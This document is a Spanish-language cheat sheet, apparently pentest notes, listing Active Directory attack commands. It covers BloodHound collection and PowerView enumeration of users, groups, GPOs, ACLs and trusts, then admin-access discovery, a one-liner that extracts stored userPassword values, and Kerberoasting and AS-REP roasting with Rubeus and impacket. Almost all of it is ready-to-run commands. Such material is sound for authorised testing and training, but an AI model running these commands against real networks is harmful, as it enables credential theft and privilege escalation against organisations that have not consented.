1.1. Enumeración automática
BloodHound - SharpHound.ps1
Invoke-BloodHound -CollectionMethod All
Invoke-BloodHound -CollectionMethod All -ExcludeDC
1.2. Enumeración manual - PowerView
1.2.1. Enumeración del dominio
Dominio actual
Get-Domain | select Name,Parent,Forest,DomainControllers | fl
Get-DomainSID
Políticas del dominio (Password Policy)
(Get-DomainPolicyData).systemaccess
Domain controllers
Get-DomainController | select Name,OSversion,IPAddress |fl
1.2.2. Users enum
Usuarios actuales del dominio
Get-DomainUser | select name,logoncount,description,memberof,useraccountcontrol
Todos los datos de todos los usuarios
Get-DomainUser -Identity <USER> -Properties *
1.2.3. Enumeración de los equipos
Equipos del dominio
Get-DomainComputer | select name,logoncount,descreption,operatingsystem
Servidores del dominio
Get-DomainComputer –OperatingSystem "*Server*"
Equipos a los que se puede hacer ping
Get-DomainComputer -Ping | select name,logoncount,descreption,operatingsystem
1.2.4. Enumeración de grupos
Grupos del dominio
Get-DomainGroup | select Name
Grupos del dominio que contienen "Admin”
Get-DomainGroup *admin* | select name,Description
Miembros de los grupos del dominio
Get-DomainGroupMember -Identity "Domain Admins" | select MemberName,MemberObjectClass,MemberSID
Grupos locales de una máquina
Get-NetLocalGroup -ComputerName <HOST>
Miembros de un grupo local
Get-LocalGroupMember -Group Administrators
Miembros de equipos de otra máquina
Get-NetLocalGroupMember -ComputerName <HOST> -GroupName Administrators | select MemberName,IsGroup,IsDomain
1.2.5. Usuarios autenticados
Usuarios locales autenticados
Get-NetLoggedon | select username
Usuarios locales autenticados en un equipo determinado
Get-LoggedonLocal -ComputerName <HOST>
Último usuario autenticado en una máquina
Get-LastLoggedOn –ComputerName <HOST>
1.2.6. Políticas de Grupo (GPO)
GPOs del dominio
Get-DomainGPO | select displayname,name
GPOs de una máquina del dominio
/coGet-DomainGPO -ComputerIdentity <HOST> | select displayname,name
GPOs de un grupo de usuarios locales
Get-DomainGPOComputerLocalGroupMapping –ComputerIdentity
Get-DomainGPOUserLocalGroupMapping -Identity <USER>
GPOs que aplican a una OU determinada
Get-DomainGPO -Identity "{3E04167E-C2B6-4A9A-8FB7-C811158DC97C}"
1.2.7. Unidades Organizativas (OU)
OUs actuales del dominio
Get-DomainOU | select name,gplink
Equipos que afectan a una OU específica
(Get-DomainOU -Identity <OU>).distinguishedname | %{Get-DomainComputer -SearchBase $_} | select name
1.2.8. Listas de Control de Acceso (ACL)
ACLs para un objeto del dominio
Get-DomainObjectAcl -SamAccountName <USER> –ResolveGUIDs
ACLs para un grupo del dominio
Get-DomainObjectAcl -SearchBase "LDAP://CN=Domain Admins,CN=Users,DC=example,DC=domain,DC=com" -ResolveGUIDs | select ObjectDN,AceType,ActiveDirectoryRights
ACLs interesantes
Find-InterestingDomainAcl -ResolveGUIDs | select IdentityReferenceName,AceType,ActiveDirectoryRights -Unique
Rutas de ACLs
Get-PathAcl -Path "\\\\<HOST>.<full.domain>\\sysvol"
1.2.9. Relaciones de confianza (Trust)
Relaciones de confianza del dominio
Get-DomainTrust | select SourceName,TrustAttributes,TargetName,TrustDirection
Forest actuales
Get-Forest | select Name,SchemaRoleOwner,RootDomainSid | fl
Forest del dominio
Get-ForestDomain | select Name,PdcRoleOwner
Catálogo de Forest Global
Get-ForestGlobalCatalog | select Forest,Domain,IPAddress,OSVersion,Name
Relaciones de confianza entre Forest
Relaciones de confianza entre Forest externos
Get-ForestDomain | %{Get-DomainTrust -Domain $_.Name} | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
Enumeración de relaciones de confianza externas
Get-DomainTrust | ?{$_.TrustAttributes -eq "FILTER_SIDS"}
1.2.10. Otros
Listado de todos los recursos compartidos
Listado de los recursos compartidos del dominio accesibles
Invoke-ShareFinder -CheckShareAccess
Enumeración de ficheros sensibles
Listar los servidores de ficheros del dominio
1.3. Enumeración del dominio avanzada
Acceso de Admin Local
Find-LocalAdminAccess –Verbose
Find-WMILocalAdminAccess.ps1
Find-PSRemotingLocalAdminAccess.ps1
Password Hardening
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
Kerberoasting
Get-DomainUser -SPN | select samaccountname,serviceprincipalname
impacket-GetUserSPNs -request -dc-ip IP <Full.Domain>/<USER>:<PASSWORD>
Rubeus.exe kerberoast /stats
Get-DomainUser -Identity <USER> | select serviceprincipalname
ASREPRoasting
Get-DomainUser -PreauthNotRequired -Verbose
impacket-GetNPUsers -request -dc-ip IP <Full.Domain>/<USER>:<PASSWORD>
#ASREPRoast.ps1
Invoke-ASREPRoast -Verbose